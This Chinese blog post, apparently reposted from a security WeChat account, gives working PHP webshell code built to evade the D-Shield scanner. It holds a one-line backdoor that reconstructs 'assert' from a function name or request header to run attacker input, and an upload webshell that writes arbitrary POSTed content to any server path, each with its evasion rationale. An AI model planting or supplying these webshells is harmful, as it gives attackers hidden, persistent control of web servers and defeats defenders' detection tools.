过D盾一句话+上传小马
2023-2-11 12:56:42 Author: 编码安全研究(查看原文) 阅读量:23 收藏

 前言

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

 PHP一句话马

 1.代码

<?php class test&#123; function assert()&#123; // 方式一 //$a = getenv('HTTP_E'); //return $a; // 方式二 $a = substr(__FUNCTION__,0,6); return $a; &#125; function foo(&$var) &#123; $var = $_GET['a']; return $var; &#125; &#125; $a = new test(); $c = $a->assert(); $d = ""; $d = $a->foo($d); $c($d);?>

 2.免杀思路

 方式一

getenv 能够获取 phpinfo 中 ApacheEnvironment 和 Environment 中的值。
请求头中的变量会以 HTTP_变量名 的形式存在 Apache Environment 中。
因此我们在请求头中带上 E: assert,我们可以通过 getenv(‘HTTP_E’) 来获取其值。

 免杀效果

方式一

 方式二

一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell, 这里使用魔术常量获取到函数名,作为函数值返回。

 免杀效果

方式二

 PHP上传小马

 1. 代码

<?php header("content-type:text/html;charset=utf-8"); class test &#123; function test() &#123; return '干扰类'; &#125; &#125; @$rode = $_POST['rode']; @$content = $_POST['content']; if(@file_put_contents($rode,$content)) &#123; echo '上传成功'; &#125;?><html> <body> <form action='' method='POST'> 小马路径<?php echo ':' . __FILE__;?><br> 上传路径:<input type='text' name='rode'/><br> 内容:<textarea name='content'></textarea><br> <input type='submit' value='write'/> </form> </body></html>

 2. 免杀思路

通过定义类的方式,干扰D盾的判断,从而绕过。

 免杀效果

PHP上传小马

作者:Wangfly,文章链接: https://www.hui-blog.cool/posts/836b.html
如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器
欢迎关注 系统安全运维

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247499881&idx=1&sn=589d02d1111517ebd7b27f4e82a86469&chksm=ce64930cf9131a1a4afda33c2b40461c8f09686f24ecdb5655068b363b51192968b3cce11a5c#rd
如有侵权请联系:admin#unsafe.sh